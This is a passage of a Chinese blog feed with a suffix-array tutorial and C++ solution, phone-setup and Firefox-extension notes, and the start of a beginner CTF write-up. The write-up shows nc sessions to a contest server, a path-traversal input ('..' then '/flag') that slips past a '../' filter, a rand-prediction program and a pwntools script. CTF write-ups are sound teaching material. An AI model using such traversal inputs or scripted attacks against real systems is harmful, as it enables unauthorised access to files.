&lt;li&gt;$s[ x \dots y ]$ 表示从 &lt;code&gt;s[x]&lt;/code&gt; 到 &lt;code&gt;s[y]&lt;/code&gt; 的连续子串&lt;/li&gt;
&lt;li&gt;$s[ x \dots ]$ 表示从 &lt;code&gt;s[x]&lt;/code&gt; 到字符串结尾的连续子串&lt;/li&gt;
&lt;li&gt;$s[x \dots y ] = t[ a \dots b ]$ 表示这两个子串的每一位都相同&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.1 后缀数组的定义&lt;/h3&gt;
&lt;p&gt;后缀数组，即 SA(Suffix Array)&lt;/p&gt;
&lt;p&gt;后缀数组通常是两个数组，&lt;code&gt;sa[]&lt;/code&gt; 和 &lt;code&gt;rank[]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sa[i]&lt;/code&gt; 表示第 $i$ 名的后缀开始位置&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rank[i]&lt;/code&gt; 表示从 $i$ 开始的后缀的排名&lt;/p&gt;
&lt;p&gt;也就是 &lt;code&gt;rank[ sa[i] ] = i&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;1.2 倍增求法&lt;/h3&gt;
&lt;p&gt;后缀数组最暴力的求法应该是 $O(n^2\log(n))$，但是这个显然太慢了……&lt;/p&gt;
&lt;p&gt;后缀数组常见的比这个快的有两种 $O(n)$ 的求法，和 $O(n\log(n))$ 的倍增法&lt;/p&gt;
&lt;p&gt;鉴于我确实还没有见到过 $O(n)$ 求后缀数组的题目（实际上是有的，但是我都不会）&lt;/p&gt;
&lt;p&gt;所以本篇博客还是只写倍增求后缀数组&lt;/p&gt;
&lt;h4&gt;1.2.1 倍增什么&lt;/h4&gt;
&lt;p&gt;注意到每个后缀之间是有包含关系的。所以我们可以将长度为 $k$ 的字符串看作一个数字，即其现在的排名&lt;/p&gt;
&lt;p&gt;然后就可以快速的求出 $2k$ 的字符串排名（即双关键字排序）&lt;/p&gt;
&lt;p&gt;使用快速排序的话就是 $O(n\log^2(n))$&lt;/p&gt;
&lt;p&gt;使用基数排序的话就是 $O(n\log(n))$&lt;/p&gt;
&lt;h4&gt;1.2.2 优化常数&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;注意到基数排序的桶大小是不断变化的，所以我们可以在每次倍增的时候更改桶的大小&lt;/li&gt;
&lt;li&gt;没有必要给第二关键字跑基数排序。由于我们已经有了在 $k$ 长度下确定的顺序，所以可以按照顺序添加第一关键字，即完成了对第二关键字的排序&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2 height 数组&lt;/h2&gt;
&lt;h3&gt;2.0 LCP 最长公共前缀&lt;/h3&gt;
&lt;p&gt;两个字符串 $S$ 和 $T$ 的 LCP 是最长的 满足 $S[ 1 \dots x ] = T[ 1 \dots x ]( 1 \leq x \leq \min( |S|, |T| ) )$ 的子串&lt;/p&gt;
&lt;p&gt;定义 $lcp(i,j)$ 表示两个后缀的 LCP 长度&lt;/p&gt;
&lt;h3&gt;2.1 height 数组的定义&lt;/h3&gt;
&lt;p&gt;$$height_i = lcp( sa_i, sa_{i-1})$$&lt;/p&gt;
&lt;h3&gt;2.2 利用 SA O(n) 求后缀数组&lt;/h3&gt;
&lt;h4&gt;2.2.1 一个引理&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;height[ rank[i] ] &amp;lt;= height[ rank[ i - 1 ] ] - 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;(为什么不用 $\LaTeX$ 公式？对于这种数组套数组的，个人认为还是用 &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; 括起来容易看懂……）&lt;/p&gt;
&lt;p&gt;证明请查阅 &lt;a href=&quot;https://oi-wiki.org/string/sa/#on-height&quot;&gt;https://oi-wiki.org/string/sa/#on-height&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;2.2.2 代码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;for( int i = 1, k = 0; i &amp;lt;= len; i ++ ) {
    if( k )
        k --;
    while( str[ i + k ] == str[ sa[ rk[i] - 1 ] + k ] )
        k ++;
    height[ rk[i] ] = k;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 利用 height 数组求 LCP&lt;/h3&gt;
&lt;p&gt;$$lcp( sa_i, sa_j ) = \min{height_x}( i + 1 \leq x \leq j )$$&lt;/p&gt;
&lt;h2&gt;3 LOJ 2133&lt;/h2&gt;
&lt;h3&gt;3.1 思路&lt;/h3&gt;
&lt;p&gt;先简化题意，题目要求我们求求两个东西&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$lcp(i,j)$ 大于等于 &lt;code&gt;r&lt;/code&gt;（记为集合 $\bf{R}$）的个数&lt;/li&gt;
&lt;li&gt;在 $\bf{R}$ 中，&lt;code&gt;val[i] * val[j]&lt;/code&gt; 的最大值&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;考虑 &lt;code&gt;height&lt;/code&gt; 数组表示了相邻后缀的 LCP，和通过 &lt;code&gt;height&lt;/code&gt; 数组求 LCP 的方法&lt;/p&gt;
&lt;p&gt;对 &lt;code&gt;height&lt;/code&gt; 数组排序后，按秩合并即可&lt;/p&gt;
&lt;h3&gt;3.2 代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template&amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }

const int N = 3e5 + 1e4;
const long long INF = ( 1LL &amp;lt;&amp;lt; 62LL );

int n;
char S[N];
int val[N];
int min[N], max[N], size[N], id[N];
long long cnt[N], res[N], ans[N];

struct set {
    int fa[N];
    inline void init( int n ) {
        for( int i = 0; i &amp;lt;= n; i ++ ) {
            fa[i] = i;
        }
    }
    int get_fa( int cur ) {
        if( fa[cur] == cur )
            return cur;
        return fa[cur] = get_fa( fa[cur] );
    }
    int &amp;amp;operator[] ( int cur ) { return fa[cur]; }
} fa;

void merge( int x, int y, int len ) {
    x = fa.get_fa(x); y = fa.get_fa(y);
    fa[y] = x;
    cnt[len] += 1LL * size[x] * size[y];
    size[x] += size[y];
    res[x] = Max( Max( res[x], res[y] ),
            Max( Max( 1LL * max[x] * max[y], 1LL * min[x] * min[y] ),
                Max( 1LL * max[x] * min[y], 1LL * min[x] * max[y] ) ) );
    min[x] = Min( min[x], min[y] );
    max[x] = Max( max[x], max[y] );
    ans[len] = Max( ans[len], res[x] );
}

struct suffix_array {
    int len, Max_char;
    int height[N], sa[N], rk[N], tp[N];
    char *str;
    // Init
    void sort() {
        static int rk_cnt[N];
        memset( rk_cnt, 0, sizeof(rk_cnt) );
        for( int i = 1; i &amp;lt;= len; i ++ )
            rk_cnt[ rk[i] ] ++;
        for( int i = 1; i &amp;lt;= Max_char; i ++ )
            rk_cnt[i] += rk_cnt[ i - 1 ];
        for( int i = len; i &amp;gt;= 1; i -- )
            sa[ rk_cnt[ rk[ tp[i] ] ] -- ] = tp[i];
    }
    void init( char *S, int _len ) {
        str = S;
        len = _len;
        Max_char = &apos;z&apos; - &apos;a&apos; + 2;
        for( int i = 1; i &amp;lt;= len; i ++ ) {
            rk[i] = str[i] - &apos;a&apos; + 1;
            tp[i] = i;
        }
        sort();

        for( int k = 1, tmp_cnt = 0; tmp_cnt &amp;lt; len; k &amp;lt;&amp;lt;= 1, Max_char = tmp_cnt ) {
            tmp_cnt = 0;
            for( int i = 1; i &amp;lt;= k; i ++ ) {
                tp[ ++ tmp_cnt ] = len - k + i;
            }
            for( int i = 1; i &amp;lt;= len; i ++ ) {
                if( sa[i] &amp;gt; k )
                    tp[ ++ tmp_cnt ] = sa[i] - k;
            }
            sort();

            memcpy( tp, rk, sizeof(rk) );
            rk[ sa[1] ] = tmp_cnt = 1;
            for( int i = 2; i &amp;lt;= len; i ++ ) {
                if( tp[ sa[i] ] == tp[ sa[ i - 1 ] ] &amp;amp;&amp;amp; tp[ sa[i] + k ] == tp[ sa[ i - 1 ] + k ] )
                    rk[ sa[i] ] = tmp_cnt;
                else {
                    tmp_cnt ++;
                    rk[ sa[i] ] = tmp_cnt;
                }
            }
        }
#ifdef woshiluo
        for( int i = 1; i &amp;lt;= n; i ++ ) printf( &quot;%d &quot;, sa[i] );
        printf( &quot;\n&quot; );
#endif
    }
    void get_height() {
        for( int i = 1, k = 0; i &amp;lt;= len; i ++ ) {
            if( k )
                k --;
            while( str[ i + k ] == str[ sa[ rk[i] - 1 ] + k ] )
                k ++;
            height[ rk[i] ] = k;
        }
    }
} sa;

bool cmp( int a, int b ) { return sa.height[a] &amp;gt; sa.height[b]; }

int main() {
#ifdef woshiluo
    freopen( &quot;loj.2133.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;loj.2133.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    scanf( &quot;%s&quot;, S + 1 );

    sa.init( S, n );
    sa.get_height();

    fa.init(n);
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;val[i] );
        size[i] = 1; min[i] = max[i] = val[i]; res[i] = ans[i] = -INF;
        id[i] = i;
    }
    ans[ n + 1 ] = -INF;

    std::sort( id + 2, id + n + 1, cmp );

    for( int i = 2; i &amp;lt;= n; i ++ ) {
        merge( sa.sa[ id[i] ], sa.sa[ id[i] - 1 ], sa.height[ id[i] ] );
    }

    for( int i = n; i &amp;gt;= 0; i -- )
        cnt[i] += cnt[ i + 1 ];
    for( int i = n; i &amp;gt;= 0; i -- )
        ans[i] = Max( ans[i], ans[ i + 1 ] );
    for( int i = 0; i &amp;lt; n; i ++ ) {
        printf( &quot;%lld %lld\n&quot;, cnt[i], cnt[i] == 0? 0: ans[i] );
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>笔记 -- 如何快速的配置一台新手机到我想要的样子</title><link>https://blog.woshiluo.com/posts/2020/07/%E7%AC%94%E8%AE%B0-%E5%A6%82%E4%BD%95%E5%BF%AB%E9%80%9F%E7%9A%84%E9%85%8D%E7%BD%AE%E4%B8%80%E5%8F%B0%E6%96%B0%E6%89%8B%E6%9C%BA%E5%88%B0%E6%88%91%E6%83%B3%E8%A6%81%E7%9A%84%E6%A0%B7%E5%AD%90/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/07/%E7%AC%94%E8%AE%B0-%E5%A6%82%E4%BD%95%E5%BF%AB%E9%80%9F%E7%9A%84%E9%85%8D%E7%BD%AE%E4%B8%80%E5%8F%B0%E6%96%B0%E6%89%8B%E6%9C%BA%E5%88%B0%E6%88%91%E6%83%B3%E8%A6%81%E7%9A%84%E6%A0%B7%E5%AD%90/</guid><pubDate>Sun, 05 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 事出有因&lt;/h2&gt;
&lt;p&gt;因为老手机被拿来腾讯会议了，加之确实也算得上时代的眼泪了（&lt;/p&gt;
&lt;p&gt;所以换了一台 Redmi K30 5G &lt;code&gt;picasso&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么，开始迁移吧&lt;/p&gt;
&lt;h2&gt;1 选择 ROM&lt;/h2&gt;
&lt;p&gt;拿老账号一下就解锁了，没有等待时间，赞美小米&lt;/p&gt;
&lt;p&gt;到 XDA 论坛上看一眼没有什么坏处&lt;/p&gt;
&lt;p&gt;目测这个手机没有什么好包，Lineageos 都只有一个 alpha 的非官方版，还是 3 个月前的产物了... &lt;a href=&quot;https://forum.xda-developers.com/redmi-k30-5g/development/rom-lineageos-17-1-redmi-k30-5g-picasso-t4063507&quot;&gt;详情看这个帖子&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过有一个 eu 版的 miui 包，走起 &lt;a href=&quot;https://forum.xda-developers.com/redmi-k30-5g/how-to/rom-xiaomi-eu-rom-redmi-k30-5g-t4047515&quot;&gt;在这个帖子里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;事实上 CN 版的 MIUI 也不错，不过人在 CN 身不由己。我相信小米有保护用户信息的决心（至少 MIUI 12 中可见一二），但是不清楚小米能不能做到。&lt;/p&gt;
&lt;p&gt;而且 EU 版有 Google 全家桶，so why not?&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2020/07/Screenshot_2020-07-05-21-27-44-279_pl.zdunex25.updater-461x1024.jpg&quot; alt=&quot;系统详情页面&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2 迁移&lt;/h2&gt;
&lt;p&gt;上来先 Google 迁移，把原来手机上软件都迁移过来&lt;/p&gt;
&lt;p&gt;然后 Magisk 一把梭，虽然 MIUI 的功能挺多的，但是还是需要改改&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.keramidas.TitaniumBackup&amp;amp;hl=zh&quot;&gt;钛备份&lt;/a&gt; 迁移 Wechat 和 TIM 两大毒瘤&lt;/p&gt;
&lt;p&gt;在完成这一步过后，实际上就迁移的差不多了&lt;/p&gt;
&lt;h2&gt;3 优化&lt;/h2&gt;
&lt;p&gt;Magisk 里 Riru 一把梭，Magisk 里仓库使用 Riru 的所有软件都挺好用的&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://github.com/yc9559/uperf&quot;&gt;yc9559/uperf&lt;/a&gt; 和 &lt;a href=&quot;https://github.com/yc9559/qti-mem-opt&quot;&gt;yc9559/qti-mem-opt&lt;/a&gt; 来获取一些内核上的优化&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://forum.xda-developers.com/apps/magisk/magisk-miui-debloater-t3821971&quot;&gt;MIUI Debloater&lt;/a&gt; 来扬掉小米的一些奇奇怪怪的软件，这些用不到还存在，&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.oasisfeng.nevo&quot;&gt;Nevolution&lt;/a&gt; 改进 TIM 和 Wechat 的通知（真的太拉跨了）&lt;/p&gt;
&lt;p&gt;本来有考虑过上 IFW，但是 MIUI 的优化够强了...&lt;/p&gt;
&lt;h2&gt;4 总结&lt;/h2&gt;
&lt;p&gt;差不多了，后面会花点时间补图和链接&lt;/p&gt;
&lt;p&gt;总得来说，主要是针对的是国产的几个毒瘤，以及对 MIUI 的激进优化和内核的调整，&lt;/p&gt;
&lt;p&gt;就如同那句话说的「人品不高智商低，慎用安卓智能机」。对于安卓的优化是一个理性对比的过程，也是一个经验的过程。本篇文章简单记述了我是怎么优化一台新手机到我喜欢的样子。但是并没有明确说明为什么这么做，后期有可能添加。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2020/07/IMG_20200705_221110-scaled.jpg&quot; alt=&quot;纪念一下旧手机&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;附 1 我使用了什么&lt;/h2&gt;
&lt;p&gt;Wechat Alipay Dingtalk Bilibili 都是 Play 版的&lt;/p&gt;
&lt;p&gt;TIM 是官网下载的&lt;/p&gt;
&lt;p&gt;剩下的就没有什么国产软件了&lt;/p&gt;
&lt;p&gt;输入法是 Trime 音乐播放器使用 Retro 和 VLC 文件管理器是 &lt;a href=&quot;https://play.google.com/store/apps/details?id=pl.solidexplorer2&quot;&gt;Soild Explorer&lt;/a&gt; 使用 KDE Connect 和 adb 来和电脑通讯 相机在 Gcam 和小米自带相机中反复考虑，最终选择了 Gcam。实际上两个相机成像差不多，不过 Gcam 用惯了，而且没有那些花里胡哨的功能。 电话是内置电话 短信是 QKSMS&lt;/p&gt;
&lt;h2&gt;附 2 参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bbs.letitfly.me/d/908&quot;&gt;https://bbs.letitfly.me/d/908&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://10101.io/2019/01/30/rime-configuration&quot;&gt;https://10101.io/2019/01/30/rime-configuration&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;附 3 一些坑&lt;/h2&gt;
&lt;p&gt;XDA 里那个 Lineage Recovery 最好不要刷，有概率砖&lt;/p&gt;
&lt;p&gt;电信卡要开 VoLTE，打 10000 号可开&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>随记 - Firefox 扩展</title><link>https://blog.woshiluo.com/posts/2020/06/%E9%9A%8F%E8%AE%B0-firefox-%E6%89%A9%E5%B1%95/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/06/%E9%9A%8F%E8%AE%B0-firefox-%E6%89%A9%E5%B1%95/</guid><pubDate>Sun, 14 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 事出有因&lt;/h2&gt;
&lt;p&gt;之前手滑执行了一次命令，导致 Firefox 的配置文件没了&lt;/p&gt;
&lt;p&gt;然后操作失误，把云端备份的插件列表搞没了&lt;/p&gt;
&lt;p&gt;万幸的是目前整理到的损失似乎只有这些，那就顺便整理一下自己的插件吧&lt;/p&gt;
&lt;h2&gt;1 插件&lt;/h2&gt;
&lt;h3&gt;1.1 美化&lt;/h3&gt;
&lt;p&gt;事实上，Firefox 默认主题挺好看的&lt;/p&gt;
&lt;p&gt;配合 &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/arc-theme-we/&quot;&gt;Arc Theme&lt;/a&gt; 可以得到更好的显示效果，何乐而不为&lt;/p&gt;
&lt;p&gt;Firefox 默认的标签页有点单调。啥都不显示没意思，显示的东西又没啥用……&lt;/p&gt;
&lt;p&gt;所以使用 &lt;a href=&quot;https://tabliss.io&quot;&gt;Tabliss&lt;/a&gt; 是一个不错的选择&lt;/p&gt;
&lt;h3&gt;1.2 标签页&lt;/h3&gt;
&lt;p&gt;当你标签页血多的时候，Firefox 会在标签栏提供一个滚动条&lt;/p&gt;
&lt;p&gt;虽然很人性化，但是明显不够用啊&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://www.one-tab.com/&quot;&gt;OneTab&lt;/a&gt; 可以归档标签页。毕竟一般开那么多个标签页，真正在用的也没几个&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://piro.sakura.ne.jp/xul/_treestyletab.html.en&quot;&gt;Tree Style Tab&lt;/a&gt; 可以给以树形结构管理标签页，改变线性的标签页整理方式&lt;/p&gt;
&lt;h3&gt;1.3 屏蔽一些恼人的东西&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/&quot;&gt;uBlock Origin&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;广告屏蔽，比 AdblockPlus 快多了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/ublacklist/&quot;&gt;uBlacklist&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;配合 &lt;a href=&quot;https://github.com/cobaltdisco/Google-Chinese-Results-Blocklist&quot;&gt;cobaltdisco/Google-Chinese-Results-Blocklist&lt;/a&gt; 使用，可以在 Google 屏蔽掉大部分 SEO 站&lt;/p&gt;
&lt;p&gt;什么时候中文互联网的 SEO 站能少一点&lt;/p&gt;
&lt;h3&gt;1.4 功能扩展&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/violentmonkey/&quot;&gt;Violentmonkey&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;暴力猴，在 &lt;a href=&quot;https://greasyfork.org/zh-CN&quot;&gt;https://greasyfork.org/zh-CN&lt;/a&gt; 或者是 Github 上搞到脚本后就往这东西里面放&lt;/p&gt;
&lt;p&gt;我使用的脚本有这些&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/the1812/Bilibili-Evolved&quot;&gt;the1812/Bilibili-Evolved&lt;/a&gt; Bilibili 的功能越砍越残缺了，破站迟早药丸。这个脚本可以 增强/美化 Bilibili 的页面，省得被 Bilibili 强奸大脑&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://greasyfork.org/zh-CN/scripts/378351-%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0-csdn%E5%B9%BF%E5%91%8A%E5%AE%8C%E5%85%A8%E8%BF%87%E6%BB%A4-%E4%BA%BA%E6%80%A7%E5%8C%96%E8%84%9A%E6%9C%AC%E4%BC%98%E5%8C%96-%E4%B8%8D%E7%94%A8%E5%86%8D%E7%99%BB%E5%BD%95%E4%BA%86-%E8%AE%A9%E4%BD%A0%E4%BD%93%E9%AA%8C%E4%BB%A4%E4%BA%BA%E6%83%8A%E5%96%9C%E7%9A%84%E5%B4%AD%E6%96%B0csdn&quot;&gt;CSDN 净化&lt;/a&gt; 这没什么说的，CSDN 你马死了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/woshiluo/syzoj-copy-button&quot;&gt;woshiluo/syzoj-copy-button&lt;/a&gt; 给 SYZOJ 增加 Copy 样例到剪切版的功能。请问 syzoj-ng 什么时候好&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/to-google-translate/&quot;&gt;To Google Translate&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;用这个可以通过快捷键直接把选中内容送到 Google Translate 里&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/aria2-integration/&quot;&gt;Aria2 Download Manager Integration&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;捕获下载链接，直接传给 Aria2&lt;/p&gt;
&lt;p&gt;后台挂两个 Aria2，配合这个使用体验不错&lt;/p&gt;
&lt;p&gt;不过，这个插件自带的 webui 不太可用，会自动覆盖设置&lt;/p&gt;
&lt;p&gt;不过你都后台挂两个 Aria2 了，顺手搭个 httpd 挂个 Aria2 webui 应该也很简单&lt;/p&gt;
&lt;h3&gt;1.5 安全性&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/https-everywhere/&quot;&gt;HTTPS Everywhere&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;重写一些 http 请求为 https，防止某些网站/运营商耍流氓&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/&quot;&gt;Firefox Multi-Account Containers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对于国内的毒瘤，除了独立沙箱，应该没有什么防的住 ta 作恶的&lt;/p&gt;
&lt;p&gt;这个插件提供了容器功能，你可以把你觉得不太行的网页每次用指定容器打开&lt;/p&gt;
&lt;p&gt;终于不用隐私模式用 Baidu 了&lt;/p&gt;
&lt;h2&gt;2 一点设置&lt;/h2&gt;
&lt;p&gt;把性能里的线程调小点&lt;/p&gt;
&lt;p&gt;Firefox 的个性化可以避免一堆插件挤在你得地址栏上，毕竟你经常会调整设置的插件也就那么几个&lt;/p&gt;
&lt;h2&gt;3 为什么使用 Firefox&lt;/h2&gt;
&lt;p&gt;这个问题实际上是没有答案的，浏览器这种东西比较偏个人。你喜欢那个，那个就是对的&lt;/p&gt;
&lt;p&gt;不过这里还是给几个理由&lt;/p&gt;
&lt;p&gt;Firefox 曾经是比 Chrome 资源占用少很多。&lt;/p&gt;
&lt;p&gt;不过现在 Firefox 也用默认多线程了，这个优势虽然还有一点，但也不算多了&lt;/p&gt;
&lt;p&gt;所以找几个这之外的理由&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;隐私，像比较 Chrome 这种商业公司搞出来的东西，Firefox 在隐私上面要优秀很多&lt;/li&gt;
&lt;li&gt;便捷，Google 账号同步比 Firefox 的账号同步困难不少&lt;/li&gt;
&lt;li&gt;为用户着想，至少不会像 Chrome 一样说搞广告屏蔽器就搞，说砍什么就砍&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;出于时间原因，没有能力给这几个理由找依据&lt;/p&gt;
&lt;p&gt;如果你不相信我的话，那么关闭这个页面就好&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>Lilac Train Writeup</title><link>https://blog.woshiluo.com/posts/2020/05/lilac-train-writeup/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/05/lilac-train-writeup/</guid><pubDate>Mon, 04 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 写在之前&lt;/h2&gt;
&lt;p&gt;应该是一场新手入门欢乐赛&lt;/p&gt;
&lt;p&gt;打着也确实快乐，应该是我 CTF 比赛第一次做出 Oi 之外的题目&lt;/p&gt;
&lt;p&gt;绝大多数知识点都在 CTF Wiki 上，剩下就是脑洞了&lt;/p&gt;
&lt;p&gt;管他呢，mcfx txdy！&lt;/p&gt;
&lt;h2&gt;1 PWN&lt;/h2&gt;
&lt;h3&gt;1 坤坤の地址&lt;/h3&gt;
&lt;p&gt;同志，用 Linux！&lt;/p&gt;
&lt;p&gt;然后就是 nc 一把梭&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nc 47.94.239.235 4001
welcome to Lilac@HIT
Here is kunkun&apos;s address:
flag{zonghelou_714}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2 坤坤の唱&lt;/h3&gt;
&lt;p&gt;放进 IDA 去，一看，就是打开 &lt;code&gt;$signer/$music&lt;/code&gt;，不允许你写 &lt;code&gt;../&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后 Hint 告诉你要访问 &lt;code&gt;../flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后就是傻逼题目了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc 47.94.239.235 4002
input the singer&apos;s name:
..
input the song&apos;s name:
/flag
here is the lyric:
flag{w0w_you_successfully_escape_the_r3strict}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3 坤坤の石头剪刀布&lt;/h3&gt;
&lt;p&gt;打开一看，发现 &lt;code&gt;rand()&lt;/code&gt; 函数的种子是 &lt;code&gt;time()%10&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那为什么要动脑子，写个种子是 0 的情况&lt;/p&gt;
&lt;p&gt;试一下就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

int num = 0;

int myRand() {
    num = (num * num + 233) % 23333;
    return num;
}

void mySrand(unsigned int seed) {
    num = seed;
}

int playOnce() {
    fflush(stdout);

    int ai = myRand() % 3;

    if( ai == 0)
        return 1;
    if( ai == 1)
        return 2;
    if( ai == 2)
        return 0;
}

int main() {
    mySrand(1);
    int n = 100;
    while( n -- ) {
        printf( &quot;%d\n&quot;, playOnce() );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后直接拿输出日服务器就行了&lt;/p&gt;
&lt;h3&gt;4 坤坤の篮球&lt;/h3&gt;
&lt;p&gt;题目给了二进制，大力 IDA&lt;/p&gt;
&lt;p&gt;IDA 告诉我们 Hint，是根据 Target 位移出来的东西&lt;/p&gt;
&lt;p&gt;简单的分析可以发现，基本上就是 8 位一截&lt;/p&gt;
&lt;p&gt;然后写个程序大力草就行了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;basket.cpp&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;iostream&amp;gt;

int n;

int read() {
  int x = 0, w = 1; char ch = 0;
  while (ch &amp;lt; &apos;0&apos; || ch &amp;gt; &apos;9&apos;) {  if (ch == &apos;-&apos;) w = -1; ch = getchar(); }
  while (ch &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;9&apos;) { x = x * 10 + (ch - &apos;0&apos;); ch = getchar(); }
  return x * w;
}

int main() {
    while(1) {
        n = read();
        int u1 = ( 1 &amp;lt;&amp;lt; 8 ) - 1;
        int tmp1 = n &amp;amp; u1;
        n &amp;gt;&amp;gt;= 8;
        int tmp2 = n &amp;amp; u1;
        n &amp;gt;&amp;gt;= 8;
        int tmp3 = n &amp;amp; u1;
        n &amp;gt;&amp;gt;= 8;
        int tmp4 = n &amp;amp; u1;

        int res = tmp1;
        res &amp;lt;&amp;lt;= 8;
        res |= tmp4;
        res &amp;lt;&amp;lt;= 8;
        res |= tmp2;
        res &amp;lt;&amp;lt;= 8;
        res |= tmp3;
        printf( &quot;%d\n&quot;, res );
    }
}

//-1897606077
// 00011101110010011010100010000110./basket.run  0.00s user 0.00s system 0% cpu 2.026 total
//
// Press ENTER or type command to continue
// 1133434084
// 10000111000111011010100111001000./basket.run  0.00s user 0.00s system 0% cpu 0.656 total
//
// 00011101 11001001 10101000 10000110
// 10000111 00011101 10101001 11001000
// 10001001 00011101 10101011 11000110
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;temp.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import *

sh = process( &apos;./basket.o&apos; )
rem = remote( &quot;47.94.239.235&quot;, &quot;4003&quot; )

rem.recvline()
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )

for i in range (1,90):
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    sh.sendline( rem.recvline() )
    rem.sendline( sh.readline() )

rem.interactive()
&lt;/code&gt;&lt;/pre&gt;
